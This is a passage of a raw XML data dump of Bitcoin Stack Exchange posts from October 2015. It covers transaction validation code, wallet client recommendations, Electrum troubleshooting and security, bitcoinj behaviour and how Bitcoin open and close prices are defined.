view.GetValueIn(tx)-tx.GetValueOut();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1826&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1826&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; CAmount blockReward = nFees + GetBlockSubsidy(pindex-&amp;gt;nHeight, chainparams.GetConsensus());&#xA;if (block.vtx[0].GetValueOut() &amp;gt; blockReward)&#xA;    return state.DoS(100,&#xA;                     error(&quot;ConnectBlock(): coinbase pays too much (actual=%d vs limit=%d)&quot;,&#xA;                           block.vtx[0].GetValueOut(), blockReward),&#xA;                           REJECT_INVALID, &quot;bad-cb-amount&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point we calculate max possible reward for this block: all tx fees + mining reward&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then we check that coinbase reward not more then this value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what if same miner create and include transaction that have inputs for 1 btc and have outputs for 2 btc, so fee for this tx will be -1 btc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then miner can set reward for coinbase transaction to  25 btc  + all fees - 1 btc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so this (block.vtx[0].GetValueOut() &gt; blockReward)  return True&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as result we have Transaction, that  create more coins then received, inside blockchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is my error?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="15358" LastEditDate="2015-10-26T00:33:28.157" LastActivityDate="2015-10-26T00:43:25.837" Title="Transactions that have outputs value more then inputs value possible?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41033" PostTypeId="2" ParentId="41032" CreationDate="2015-10-26T00:43:25.837" Score="5" Body="&lt;p&gt;That isn't allowed, even within a block. Here is the code that checks for that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main.cpp: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1695&quot;&gt;ConnectBlock&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (!CheckInputs(tx, state, view, fScriptChecks, flags, false, nScriptCheckThreads ? &amp;amp;vChecks : NULL))&#xA;        return error(&quot;ConnectBlock(): CheckInputs on %s failed with %s&quot;,&#xA;            tx.GetHash().ToString(), FormatStateMessage(state));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;main.cpp: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1361&quot;&gt;CheckInputs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!Consensus::CheckTxInputs(tx, state, inputs, GetSpendHeight(inputs)))&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;main.cpp: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1316&quot;&gt;CheckTxInputs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (unsigned int i = 0; i &amp;lt; tx.vin.size(); i++)&#xA;{&#xA;    const COutPoint &amp;amp;prevout = tx.vin[i].prevout;&#xA;    const CCoins *coins = inputs.AccessCoins(prevout.hash);&#xA;    // [11 lines snipped]&#xA;    nValueIn += coins-&amp;gt;vout[prevout.n].nValue;&#xA;    // [3 lines snipped]&#xA;}&#xA;&#xA;if (nValueIn &amp;lt; tx.GetValueOut())&#xA;    return state.DoS(100, false, REJECT_INVALID, &quot;bad-txns-in-belowout&quot;, false,&#xA;        strprintf(&quot;value in (%s) &amp;lt; value out (%s)&quot;, FormatMoney(nValueIn), FormatMoney(tx.GetValueOut())));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-10-26T00:43:25.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41034" PostTypeId="1" CreationDate="2015-10-26T01:15:48.507" Score="2" ViewCount="167" Body="&lt;p&gt;can you recommend me any desktop clients ? So far I have tried bitcoin-core, Electrum and MultiBit. I liked Bitcoin Core, but as the blocks increase, it becomes extremely heavy. In my computer, it takes more than 10 minutes just to start, and while it is syncing I can't do anything else without freezing my computer, MultiBit uses the file from a server, so it syncs very fast, but the wallet seems to be incompatible with the wallet.dat and it doesn't seem to allow importing the private key, it only allows importing wallets generated by itself. Electrum is fast, doesn't freeze anything, it allows to import private keys, but it is taking way too long to sync, so i think it is downloading the blockchain...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I would like a wallet with these characteristics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Allows to import/export wallet.dat file (or private key) (like Electrum and Bitcoin Core)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't need to download the whole block (Like MultiBit)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Runs on Linux&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thank you all :)&lt;/p&gt;&#xA;" OwnerUserId="30134" LastActivityDate="2016-01-25T04:27:50.480" Title="Desktop Client Recomendation" Tags="|client|" AnswerCount="2" CommentCount="0" ClosedDate="2016-01-26T14:55:56.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="41035" PostTypeId="1" CreationDate="2015-10-26T03:32:26.740" Score="1" ViewCount="87" Body="&lt;p&gt;I want to start a new block chain and mine the 0th block, but I guess the hardcoded checkpoint in &lt;code&gt;chainparams.cpp&lt;/code&gt; won't allow that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to reset the &lt;code&gt;checkpoint&lt;/code&gt; hardcoded as follows before starting a new blockchain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    checkpointData = (CCheckpointData){&#xA;        boost::assign::map_list_of&#xA;        ( 0, uint256S(&quot;000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943&quot;)),&#xA;        0,&#xA;        0,&#xA;        0&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="5406" LastEditDate="2015-12-24T10:17:40.907" LastActivityDate="2015-12-24T10:17:40.907" Title="Reset bitcoin blockchain checkpoint to mine 0th block" Tags="|blockchain|testnet|genesis-block|checkpoints|" AnswerCount="0" CommentCount="0" ClosedDate="2015-12-24T10:14:21.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="41036" PostTypeId="1" CreationDate="2015-10-26T07:58:11.073" Score="2" ViewCount="236" Body="&lt;p&gt;What are differences between MemoryBlockStore and SPVBlockStore in bitcoinj?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which should be used for downloading the blockchain and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use same SPVChain format file for all wallets?&lt;/p&gt;&#xA;" OwnerUserId="30136" LastEditorUserId="18227" LastEditDate="2015-10-26T13:34:39.290" LastActivityDate="2018-04-03T02:02:45.057" Title="Differences between MemoryBlockStore and SPVBlockStore" Tags="|blockchain|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41037" PostTypeId="2" ParentId="41013" CreationDate="2015-10-26T08:22:37.717" Score="6" Body="&lt;p&gt;&lt;code&gt;LogPrint&lt;/code&gt; and &lt;code&gt;LogPrintf&lt;/code&gt; are very similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind the definiton: &lt;code&gt;#define LogPrintf(...) LogPrint(NULL, __VA_ARGS__)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LogPrint&lt;/code&gt;'s will only end up in your &lt;code&gt;debug.log&lt;/code&gt; when enabling the corresponding category. Enabling works over the &lt;code&gt;-debug&lt;/code&gt; arg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-debug=mempool,net&lt;/code&gt; would output all &lt;code&gt;LogPrint(&quot;mempool&quot;,...)&lt;/code&gt; or &lt;code&gt;LogPrint(&quot;net&quot;,...)&lt;/code&gt; to the debug log, or to stdout if &lt;code&gt;-printtoconsole&lt;/code&gt; has been enabled.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-10-26T08:22:37.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41038" PostTypeId="1" CreationDate="2015-10-26T08:23:50.550" Score="1" ViewCount="190" Body="&lt;p&gt;In the android app that I am developing, I need to send a request to check if other Bitcoin apps exist on the user’s phone, and if that is the case, I need to get the user’s Bitcoin address from the wallet. &#xA;Is there any type of API/URI specified for this? Or how else can I do that?&lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="5406" LastEditDate="2016-01-05T13:05:20.070" LastActivityDate="2016-01-05T13:05:20.070" Title="Getting Bitcoin address from Android Bitcoin wallets" Tags="|wallet|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41040" PostTypeId="2" ParentId="40986" CreationDate="2015-10-26T10:24:39.910" Score="2" Body="&lt;p&gt;In the end I went with &lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;The websocket API from Blockchain&lt;/a&gt; in combination with the python websocket client from &lt;a href=&quot;https://github.com/liris/websocket-client&quot; rel=&quot;nofollow&quot;&gt;Hiroki Ohtani&lt;/a&gt;. This mechanism is really instantaneous and seems stable and usable. However, I still have concerns around having to put my eggs in one basket. So, I double check and also use &lt;a href=&quot;https://www.blocktrail.com/api/docs#api_webhooks&quot; rel=&quot;nofollow&quot;&gt;Blocktrail's webhooks api&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This system still does not give me 100% foolproof security but I can live with this setup, until a better system comes along, or I can make something better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for helping out, and I hope this answer may serve as an idea/basis for your own Bitcoin projects!&lt;/p&gt;&#xA;" OwnerUserId="30076" LastActivityDate="2015-10-26T10:24:39.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41041" PostTypeId="2" ParentId="8080" CreationDate="2015-10-26T10:31:15.580" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitnotify.com&quot; rel=&quot;nofollow&quot;&gt;http://bitnotify.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easy setup.&lt;/li&gt;&#xA;&lt;li&gt;Sends crafted notifications.&lt;/li&gt;&#xA;&lt;li&gt;Watch-only address monitoring service. Works without the private key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30140" LastActivityDate="2015-10-26T10:31:15.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41042" PostTypeId="1" AcceptedAnswerId="41056" CreationDate="2015-10-26T11:43:45.297" Score="3" ViewCount="8254" Body="&lt;p&gt;The manual said that it will show up on history.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: 0/unconfirmed, broadcast through 4 nodes&#xA;Date: 10/26/2015 18:21&#xA;To: 19pHw8gbRP596CbiDdjNQbBrddAgQJ8pK2&#xA;Debit: -0.00956976 BTC&#xA;Transaction fee: -0.00043024 BTC&#xA;Net amount: -0.01000000 BTC&#xA;Transaction ID: e816ada72c9b8940a67779825423bc473e3059fb5f9f5aab9d09ee19c636fa23-000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't show up. Not even pending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/okj5P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/okj5P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I think I got the right address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rRvZo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRvZo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Transaction details changed. Now I got 71 confirmation. Still no money on electrum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e816ada72c9b8940a67779825423bc473e3059fb5f9f5aab9d09ee19c636fa23-000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a refresh button or something? Is my electrum doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="27876" LastEditorUserId="27876" LastEditDate="2015-10-26T21:30:30.410" LastActivityDate="2017-10-12T10:05:25.827" Title="Why I am not seeing received money in my electrum?" Tags="|electrum|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41043" PostTypeId="1" CreationDate="2015-10-26T11:49:47.737" Score="3" ViewCount="1697" Body="&lt;p&gt;What I did is put a password on word document and put the seed words in there and then put the file in google drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of any way I can lose it. I can't think of anyone stealing the money either without knowing my password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Electrum wallet is also encrypted with the same password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ways to improve my security?&lt;/p&gt;&#xA;" OwnerUserId="27876" LastEditorUserId="29646" LastEditDate="2015-10-28T21:11:05.073" LastActivityDate="2015-10-28T21:11:05.073" Title="How to secure my Electrum wallet?" Tags="|wallet|security|electrum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41045" PostTypeId="2" ParentId="41043" CreationDate="2015-10-26T13:45:31.107" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Office_password_protection&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Microsoft_Office_password_protection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Password protected word docs only use 128 AES encryption. An improvement you could easily make is upping this encryption level to 256. Another suggestion you could also PGP encrypt the seed words inside the document itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think putting this information in a cloud environment would be sacrificing security. I assuming you are counting on google drive being around in the event of your hard-drive crashing. Unless you need this information on the go though I would think writing the information on a piece of paper and locking that away would be more secure, depending on your locations physical security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also have multiple backup points in the event of a loss, even if you are counting on google drive being there you don't want that to be a single point of failure. I would suggest at least having one paper copy and possibly a thumb-drive/DVD copy. &lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-26T13:45:31.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41047" PostTypeId="2" ParentId="41034" CreationDate="2015-10-26T15:50:16.347" Score="1" Body="&lt;p&gt;Electrum does not download the whole blockchain. I would recommend giving it another try as it should be pretty much as fast as any other app. One thing you could try is switching the validation server. This would possibly increase the speed at which you are able to sync up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About electrum validation:&#xA;&quot;This wallet uses SPV and random servers from a list. This means little trust in third parties is required when verifying payments. However, it is not as secure as a full node like Bitcoin Core.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information above taken from: &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above resource should help you pick another wallet besides electrum if you choose to do so.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-26T15:50:16.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41048" PostTypeId="1" AcceptedAnswerId="41053" CreationDate="2015-10-26T16:19:03.797" Score="3" ViewCount="185" Body="&lt;p&gt;I have a JavaWebApp wich uses bitcoinj 0.13.2 for sending bitcoins from a wallet to a particular address in a &lt;code&gt;TimerTask&lt;/code&gt;. When the job starts, every minute I send 10000 satoshis to the address. The fee of the transaction is 1000 satoshis. Transaction confirmations are 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I randomly get &lt;code&gt; InsufficientMoneyException &lt;/code&gt;, although there are a lot more funds than 11000 available in the wallet , wich are needed for the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have successfuly completed 1 job for 30 minutes after that i start another to a different address and on the third transaction i got the exception. Even if the fee is more than 1000 or confirmations set &gt; 0, I can't understand how balance like: 0.10720419 BTC (10720419 satoshis) can be exhausted with two transactions for 10000 satoshis(i tried even with wallet which have balance of 9.43673481 BTC (943673481 satoshis) and it has been exhausted with several transactions too)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the transaction is complete everything is normal and the available balance is correct, so i can start another transaction but that can take a lot more time than a minute. I can't understand the reason why so many coins are reserved(unavailable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its due confirmations or fees, is there any workaround so transaction per minute goal can be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use TestNet3 for testing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;walletKit.wallet().sendCoins(walletKit.peerGroup(), to, Coin.valueOf(amount))&lt;/code&gt; for sending coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before transaction that trigger the exception, previous one are in kind of stuck state - it appears only in sender tx history and stuck on 0 notifications for like 1-2 hours. When it receive 1 confirmation it appears on the receiver wallet tx history with 0 confirmation and with other create date(time).Tx.ID is same. I cant understand the reason for this behavior !? At the moment in wallets tx history i got :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sender: date - 10/27/2015 11:35 amount - 0.0001 fee - 0.00001 conf - 3 tx.id:8eee2f5e92edc0ba8ab656e9364646507158fa91f74364815c7b36ecac7fdd69;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;receiver: 10/27/2015 13:52 amount - 0.0001 fee - 0.00001 conf - 0 tx.id:8eee2f5e92edc0ba8ab656e9364646507158fa91f74364815c7b36ecac7fdd69.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new in bitcoinj and bitcoins at all but that seems very unusual and i really want to figure out the reason for this behavior !?&lt;/p&gt;&#xA;" OwnerUserId="30143" LastEditorUserId="30143" LastEditDate="2015-10-27T13:25:10.500" LastActivityDate="2015-10-27T20:45:30.060" Title="Bitcoin transactions reserve more coins than needed" Tags="|testnet|bitcoinj|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41049" PostTypeId="1" CreationDate="2015-10-26T17:29:23.467" Score="1" ViewCount="573" Body="&lt;p&gt;How do i transfer altcoins from cryptsy to bittrex? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bittrex says this if i open generate the deposit address -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;When depositing, please send your message unencrypted.&#xA;&#xA;If the message is not included in your transfer, we cannot credit your account. &#xA;Please do not directly deposit from an exchange or pool unless they allow &#xA;you to specify a message.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see any place to enter the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="30026" LastEditorUserId="2306" LastEditDate="2015-10-27T06:27:09.827" LastActivityDate="2015-10-27T06:27:09.827" Title="How do I transfer altcoins from cryptsy to bittrex?" Tags="|exchanges|altcoin|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41051" PostTypeId="1" CreationDate="2015-10-26T20:02:23.037" Score="2" ViewCount="707" Body="&lt;p&gt;I am interested in UNL construction.&#xA;If some server S is on the UNL of server T, does this imply that server T is on the UNL of server S?&#xA;Or in other words if I constructed an UNL graph would it be a directed graph?&lt;/p&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2016-02-24T01:09:15.440" Title="Ripple: How is an UNL (unique node list) constructed?" Tags="|ripple|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41052" PostTypeId="2" ParentId="41051" CreationDate="2015-10-26T23:09:55.897" Score="2" Body="&lt;p&gt;Most servers aren't validators and so cannot appear on anyone else's UNL.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-10-26T23:09:55.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41053" PostTypeId="2" ParentId="41048" CreationDate="2015-10-26T23:11:14.610" Score="1" Body="&lt;p&gt;It's due to confirmation times and there's nothing you can do about it. Until a payment confirms, its outputs are not spendable because you cannot be sure the payment will in fact confirm. This includes the &quot;change&quot; outputs from a transaction. You could try to keep a large pool of available unspent outputs available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The behavior you're describing is not unusual. Until a transaction gets included in a block, it's stuck at zero confirmations. Each payment you make takes one or more of your unspent outputs and consumes it, producing a new unspent output back to you for the &quot;change&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have two unspent outputs, one for 1 Bitcoin and one for 0.4 Bitcoins and you need to make a payment of 1.2 Bitcoins to someone. You make a payment that takes in both your unspent outputs, sends 1.2 Bitcoins to the recipient, and the remaining 0.2 Bitcoins back to you. At the moment, the only Bitcoins you have are that 0.2 Bitcoin &quot;change&quot; output, and it's not yet confirmed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-10-27T20:45:30.060" LastActivityDate="2015-10-27T20:45:30.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41055" PostTypeId="1" AcceptedAnswerId="41057" CreationDate="2015-10-27T07:39:29.063" Score="17" ViewCount="139869" Body="&lt;p&gt;If Bitcoin trading never stops then what does it mean when news sites and others talk about bitcoin opening or closing at a certain price, and why is this terminology used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could two people mean different things when they talk about the closing price at the same date? (apart from price differences between exchanges)&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2017-07-02T07:09:13.603" Title="Bitcoin market hours (open/close prices)" Tags="|exchanges|trading|market|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41056" PostTypeId="2" ParentId="41042" CreationDate="2015-10-27T08:40:40.960" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;version 2.0.2 is very old. Before asking for help, please upgrade to the latest version.&lt;/li&gt;&#xA;&lt;li&gt;if the issue persists, enter &lt;code&gt;wallet.clear_history()&lt;/code&gt; in the electrum console, and restart electrum&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2015-10-27T08:40:40.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41057" PostTypeId="2" ParentId="41055" CreationDate="2015-10-27T11:16:23.197" Score="18" Body="&lt;p&gt;In 24 hour markets High and Low usually mean &quot;highest/lowest price in last 24 hours&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open generally refers to the price at 12:01 AM UTC of any given day and close generally refers to the price at 11:59 PM UTC of any given day.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="48884" LastEditDate="2017-07-02T07:09:13.603" LastActivityDate="2017-07-02T07:09:13.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41058" PostTypeId="2" ParentId="41055" CreationDate="2015-10-27T11:23:54.950" Score="4" Body="&lt;p&gt;Traditional markets are not open for trade all day, so the opening and closing price refer to the first and last price of the day. They are used as measurements for the trading activity of a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin exchanges are open 24/7, I would expect the opening price to refer to the price at midnight and the closing to refer to the priceat 23:59:59 in the exchange's respective timezone. Since closing of the previous day is essentially the same as opening of this day, some pages such as e.g. CoinDesk only show the closing values for the historical data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closing price should always be the last price of the day, so it should be unambiguous.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-10-27T11:23:54.950" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41059" PostTypeId="2" ParentId="2063" CreationDate="2015-10-27T11:24:08.083" Score="9" Body="&lt;p&gt;Bitcoin transaction and block hashes are considered little-endian when treating them as integers. On the network they are just 32-byte sequences in the order they are generated by the hash function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both transaction and block hashes bytes are reversed when displayed by Bitcoin software and websites in hexadecimal form. This makes blocks show up in big-endian form, which is the way we humans write numbers down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suppose that the idea of reversing bytes comes from the fact that block hashes in Bitcoin are treated as numbers for the purposes of difficulty calculations, meaning the hash must be below certain threshold in order to pass. It is natural for a human to expect such a number to be displayed on screen with leading zeroes. However this is not a very solid reason, since block hashes could have been interpreted as big-endian when converting to integer, while paying a tiny performance penalty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for transaction hashes, I have no good explanation as to why they are also reversed. Perhaps it is just for consistency.&lt;/p&gt;&#xA;" OwnerDisplayName="user8791" LastActivityDate="2015-10-27T11:24:08.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41060" PostTypeId="1" CreationDate="2015-10-27T11:26:40.280" Score="2" ViewCount="451" Body="&lt;p&gt;Just curious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean are there ways to see that info publicly?&lt;/p&gt;&#xA;" OwnerUserId="27876" LastActivityDate="2015-10-27T20:29:42.750" Title="If we know transaction ID can we check more info about it on the web?" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41061" PostTypeId="1" CreationDate="2015-10-27T11:33:51.360" Score="3" ViewCount="255" Body="&lt;p&gt;For my project I need to check the balance of a public address using bitcoind. Can I do that without importing the private key, only by public address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need solution no dependence, because I tried with blockchain.info API and after x requests, they blocked me. I need to check a lot addresses every 30 minutes.&lt;/p&gt;&#xA;" OwnerUserId="30162" LastEditorUserId="5292" LastEditDate="2015-10-27T12:41:31.123" LastActivityDate="2015-10-27T15:00:02.303" Title="Bitcoind daemon get received notifications by public address" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41062" PostTypeId="2" ParentId="41060" CreationDate="2015-10-27T12:35:54.080" Score="4" Body="&lt;p&gt;Any blockexplorer on the web allows you to enter a transaction ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some are notoriously bad and unreliable. Don't depend on the info they show.&lt;/li&gt;&#xA;&lt;li&gt;The transaction ID of an unconfirmed transaction may change once it gets confirmed (same transaction, different ID). This is due to malleability.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-27T12:35:54.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41064" PostTypeId="2" ParentId="41061" CreationDate="2015-10-27T12:53:20.850" Score="1" Body="&lt;p&gt;Instead of polling many addresses every 30 minutes, you probably want to import your addresses into bitcoind, using &lt;code&gt;bitcoin-cli importaddress&lt;/code&gt; and then have bitcoind notify you automatically when a new transaction comes in, using the &lt;code&gt;walletnotify&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for example: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24457/how-do-i-use-walletnotify&quot;&gt;How do I use walletnotify?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of details to get right: transactions might never confirm, the transaction ID might change. When bitcoind loses connection to the network, you want your script to be able to handle that. etc.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-10-27T15:00:02.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41067" PostTypeId="1" CreationDate="2015-10-27T15:48:44.803" Score="2" ViewCount="370" Body="&lt;p&gt;I want to setup a REST API service that does 3 simple things.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ask it to generate a new address (ideally from a BIP32 xpub key tree)&lt;/li&gt;&#xA;&lt;li&gt;Notify my server application when a deposit and confirmation X happens.&lt;/li&gt;&#xA;&lt;li&gt;Once the deposit is confirmed, forward the funds to another address and invoke a script in PHP or node.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was originally going down the &lt;strong&gt;&lt;code&gt;bitcoind walletnotify&lt;/code&gt;&lt;/strong&gt; route but a few issues popped up (namely no HD support, scalability of having 10000's of addresses being monitored on a bitcoind is apparently a bad idea??  Is this true?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've therefore been setting up Ubuntu as a server and looking at 